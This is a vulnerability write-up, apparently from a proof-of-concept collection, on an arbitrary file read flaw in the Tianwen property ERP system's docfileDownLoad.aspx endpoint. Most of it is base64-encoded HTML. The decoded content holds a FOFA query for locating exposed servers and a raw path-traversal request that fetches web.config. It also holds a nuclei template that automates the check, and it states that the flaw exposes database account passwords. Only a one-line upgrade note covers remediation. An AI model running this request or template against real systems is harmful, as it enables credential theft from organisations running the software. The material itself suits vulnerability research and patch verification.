天问物业ERP系统docfileDownLoad.aspx接口存在任意文件读取漏洞

PGgxPjxhIG5hbWU9IuWkqemXrueJqeS4mkVSUOezu+e7n2RvY2ZpbGVEb3duTG9hZC5hc3B45o6l5Y+j5a2Y5Zyo5Lu75oSP5paH5Lu26K+75Y+W5ryP5rSeIj48L2E+PHNwYW4+PC9zcGFuPuWkqemXrueJqeS4mkVSUOezu+e7n2RvY2ZpbGVEb3duTG9hZC5hc3B45o6l5Y+j5a2Y5Zyo5Lu75oSP5paH5Lu26K+75Y+W5ryP5rSePC9oMT48aDI+PGEgbmFtZT0i5ryP5rSe5o+P6L+wIj48L2E+PHNwYW4+PC9zcGFuPua8j+a0nuaPj+i/sDwvaDI+PHA+5aSp6Zeu54mp5LiaRVJQ57O757uf5Z+56K6t5piv55So5Y+L5peX5LiL55WF5o236YCa5YWs5Y+45o6o5Ye655qE5LiA6aG56YeN6KaB5pyN5Yqh77yM5peo5Zyo5biu5Yqp54mp5Lia566h5p+Q55CG5Lia5o+Q5Y2H566h55CG5pWI546H5ZKM5rC05bmz44CC5aSp6Zeu54mp5LiaRVJQ57O757ufZG9jZmlsZURvd25Mb2FkLmFzcHjmjqXlj6PlrZjlnKjku7vmhI/mlofku7bor7vlj5bmvI/mtJ48L3A+CjxoMj48YSBuYW1lPSLkuqflk4HnlYzpnaIiPjwvYT48c3Bhbj48L3NwYW4+5Lqn5ZOB55WM6Z2iPC9oMj48cD48aW1nIHNyYz0iaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvMjEyMTIvYjk1OTIzYjI1NTdhNmFkZTA1ZGI2OThkZmNiM2EwMTNfNzI3ODgucG5nIiBhbHQ9IiI+PC9wPgo8aDI+PGEgbmFtZT0iZm9mYeivreazlSI+PC9hPjxzcGFuPjwvc3Bhbj5mb2Zh6K+t5rOVPC9oMj48cD48Y29kZT5ib2R5PSLlpKnpl67niankuJpFUlDns7vnu58iIHx8IGJvZHk9IuWbveWutueJiOadg+WxgOi9r+iRl+eZu+Wtl+esrDEyMDUzMjjlj7ciIHx8IGJvZHk9Ii9ITS9NX01haW4vZnJhbWUvc3NvLmFzcHgiPC9jb2RlPjwvcD4KPGgyPjxhIG5hbWU9IlBPQyI+PC9hPjxzcGFuPjwvc3Bhbj5QT0M8L2gyPjxwcmU+PG9sPjxsaT48Y29kZT48c3Bhbj5HRVQgPC9zcGFuPjxzcGFuPi88L3NwYW4+PHNwYW4+SE08L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj5NX01haW48L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj5Xb3JrR2VuZXJhbDwvc3Bhbj48c3Bhbj4vPC9zcGFuPjxzcGFuPmRvY2ZpbGVEb3duTG9hZDwvc3Bhbj48c3Bhbj4uPC9zcGFuPjxzcGFuPmFzcHg8L3NwYW4+PHNwYW4+Pzwvc3Bhbj48c3Bhbj5BZGp1bmN0RmlsZTwvc3Bhbj48c3Bhbj49Li4vPC9zcGFuPjxzcGFuPndlYjwvc3Bhbj48c3Bhbj4uPC9zcGFuPjxzcGFuPmNvbmZpZyBIVFRQPC9zcGFuPjxzcGFuPi88L3NwYW4+PHNwYW4+MS4xPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj5Ib3N0PC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IDwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+VXNlcjwvc3Bhbj48c3Bhbj4tPC9zcGFuPjxzcGFuPkFnZW50PC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj5Nb3ppbGxhPC9zcGFuPjxzcGFuPi88L3NwYW4+PHNwYW4+NC4wPC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+KDwvc3Bhbj48c3Bhbj5jb21wYXRpYmxlPC9zcGFuPjxzcGFuPjs8L3NwYW4+PHNwYW4+IE1TSUUgPC9zcGFuPjxzcGFuPjguMDwvc3Bhbj48c3Bhbj47PC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+V2luZG93czwvc3Bhbj48c3Bhbj4gTlQgPC9zcGFuPjxzcGFuPjYuMTwvc3Bhbj48c3Bhbj4pPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj5BY2NlcHQ8L3NwYW4+PHNwYW4+Ojwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPio8L3NwYW4+PHNwYW4+Lyo8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPkNvbm5lY3Rpb246IEtlZXAtQWxpdmU8L3NwYW4+PC9jb2RlPjwvbGk+PC9vbD48L3ByZT48cD48aW1nIHNyYz0iaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvMjEyMTIvOGVjNTA0YzFhNDg1YTFhMjRiYTExZGYzNThiZDJiNTdfNTE2ODUucG5nIiBhbHQ9IiI+PC9wPgo8aDI+PGEgbmFtZT0ibnVjbGVp6aqM6K+BIj48L2E+PHNwYW4+PC9zcGFuPm51Y2xlaemqjOivgTwvaDI+PHByZT48b2w+PGxpPjxjb2RlPjxzcGFuPmlkPC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IHRpYW53ZW48L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj5FUlA8L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj5kb2NmaWxlRG93bkxvYWQ8L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj5maWxlcmVhZDwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPmluZm88L3NwYW4+PHNwYW4+Ojwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICBuYW1lPC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj7lpKnpl67niankuJo8L3NwYW4+PHNwYW4+RVJQPC9zcGFuPjxzcGFuPuezu+e7nzwvc3Bhbj48c3Bhbj5kb2NmaWxlRG93bkxvYWQ8L3NwYW4+PHNwYW4+Ljwvc3Bhbj48c3Bhbj5hc3B4PC9zcGFuPjxzcGFuPuaOpeWPo+WtmOWcqOS7u+aEj+aWh+S7tuivu+WPlua8j+a0njwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICBhdXRob3I8L3NwYW4+PHNwYW4+Ojwvc3Bhbj48c3Bhbj4gbm9ib2R5PC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gIHNldmVyaXR5PC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IGhpZ2g8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgZGVzY3JpcHRpb248L3NwYW4+PHNwYW4+Ojwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPnw8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICA8L3NwYW4+PHNwYW4+5aSp6Zeu54mp5LiaPC9zcGFuPjxzcGFuPkVSUDwvc3Bhbj48c3Bhbj7ns7vnu5/ln7norq3mmK/nlKjlj4vml5fkuIvnlYXmjbfpgJrlhazlj7jmjqjlh7rnmoTkuIDpobnph43opoHmnI3liqHvvIzml6jlnKjluK7liqnniankuJrnrqHmn5DnkIbkuJrmj5DljYfnrqHnkIbmlYjnjoflkozmsLTlubPjgILlpKnpl67niankuJo8L3NwYW4+PHNwYW4+RVJQPC9zcGFuPjxzcGFuPuezu+e7nzwvc3Bhbj48c3Bhbj5kb2NmaWxlRG93bkxvYWQ8L3NwYW4+PHNwYW4+Ljwvc3Bhbj48c3Bhbj5hc3B4PC9zcGFuPjxzcGFuPuaOpeWPo+WtmOWcqOS7u+aEj+aWh+S7tuivu+WPlua8j+a0njwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICBpbXBhY3Q8L3NwYW4+PHNwYW4+Ojwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPnw8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICA8L3NwYW4+PHNwYW4+5pS75Ye76ICF5Y+v5Lul6YCa6L+H6K+l5o6l5Y+j6K+75Y+W5paH5Lu277yM6I635Y+W5pWw5o2u5bqT6LSm5Y+35a+G56CB562J5pWP5oSf5L+h5oGvPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gIHJlbWVkaWF0aW9uPC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj58PC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgPC9zcGFuPjxzcGFuPuWNh+e6p+eJiOacrO+8jOaJk+ihpeS4gTwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICBtZXRhZGF0YTwvc3Bhbj48c3Bhbj46PC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgdmVyaWZpZWQ8L3NwYW4+PHNwYW4+Ojwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPnRydWU8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICBtYXg8L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj5yZXF1ZXN0PC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj4zPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgZm9mYTwvc3Bhbj48c3Bhbj4tPC9zcGFuPjxzcGFuPnF1ZXJ5PC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IGJvZHk8L3NwYW4+PHNwYW4+PTwvc3Bhbj48c3Bhbj4i5aSp6Zeu54mp5LiaRVJQ57O757ufIjwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPnx8PC9zcGFuPjxzcGFuPiBib2R5PC9zcGFuPjxzcGFuPj08L3NwYW4+PHNwYW4+IuWbveWutueJiOadg+WxgOi9r+iRl+eZu+Wtl+esrDEyMDUzMjjlj7ciPC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+fHw8L3NwYW4+PHNwYW4+IGJvZHk8L3NwYW4+PHNwYW4+PTwvc3Bhbj48c3Bhbj4iL0hNL01fTWFpbi9mcmFtZS9zc28uYXNweCI8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgdGFnczwvc3Bhbj48c3Bhbj46PC9zcGFuPjxzcGFuPiBmaWxlcmVhZDwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPnJlcXVlc3RzPC9zcGFuPjxzcGFuPjo8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgPC9zcGFuPjxzcGFuPi08L3NwYW4+PHNwYW4+IHJhdzwvc3Bhbj48c3Bhbj46PC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgICA8L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPnw8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICAgICAgR0VUIDwvc3Bhbj48c3Bhbj4vPC9zcGFuPjxzcGFuPkhNPC9zcGFuPjxzcGFuPi88L3NwYW4+PHNwYW4+TV9NYWluPC9zcGFuPjxzcGFuPi88L3NwYW4+PHNwYW4+V29ya0dlbmVyYWw8L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj5kb2NmaWxlRG93bkxvYWQ8L3NwYW4+PHNwYW4+Ljwvc3Bhbj48c3Bhbj5hc3B4PC9zcGFuPjxzcGFuPj88L3NwYW4+PHNwYW4+QWRqdW5jdEZpbGU8L3NwYW4+PHNwYW4+PS4uLzwvc3Bhbj48c3Bhbj53ZWI8L3NwYW4+PHNwYW4+Ljwvc3Bhbj48c3Bhbj5jb25maWcgSFRUUDwvc3Bhbj48c3Bhbj4vPC9zcGFuPjxzcGFuPjEuMTwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICAgICAgICA8L3NwYW4+PHNwYW4+SG9zdDwvc3Bhbj48c3Bhbj46PC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+e3s8L3NwYW4+PHNwYW4+SG9zdG5hbWU8L3NwYW4+PHNwYW4+fX08L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICAgICAgPC9zcGFuPjxzcGFuPlVzZXI8L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj5BZ2VudDwvc3Bhbj48c3Bhbj46PC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+TW96aWxsYTwvc3Bhbj48c3Bhbj4vPC9zcGFuPjxzcGFuPjQuMDwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPig8L3NwYW4+PHNwYW4+Y29tcGF0aWJsZTwvc3Bhbj48c3Bhbj47PC9zcGFuPjxzcGFuPiBNU0lFIDwvc3Bhbj48c3Bhbj44LjA8L3NwYW4+PHNwYW4+Ozwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPldpbmRvd3M8L3NwYW4+PHNwYW4+IE5UIDwvc3Bhbj48c3Bhbj42LjE8L3NwYW4+PHNwYW4+KTwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICAgICAgICA8L3NwYW4+PHNwYW4+QWNjZXB0PC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj4qPC9zcGFuPjxzcGFuPi8qPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgICAgIENvbm5lY3Rpb246IEtlZXAtQWxpdmU8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICBtYXRjaGVyczo8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICAgIC0gdHlwZTogZHNsPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgICAgIGRzbDo8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICAgICAgICAtIHN0YXR1c19jb2RlID09IDIwMCAmYW1wOyZhbXA7IGNvbnRhaW5zX2FsbChib2R5LCImbHQ7P3htbCIsInN5c3RlbS53ZWIiKTwvc3Bhbj48L2NvZGU+PC9saT48L29sPjwvcHJlPjxwPjxpbWcgc3JjPSJodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8yMTIxMi9hY2FmNTJhNjMwOTlkZTY5MWVjODhlODUwYjk0MmQ4ZV85NzI1MC5wbmciIGFsdD0iIj48L3A+CjxoMj48YSBuYW1lPSLkv67lpI3lu7rorq4iPjwvYT48c3Bhbj48L3NwYW4+5L+u5aSN5bu66K6uPC9oMj48dWw+CjxsaT7lu7rorq7ljYfnuqfliLDmnIDmlrDniYjmnKw8L2xpPjwvdWw+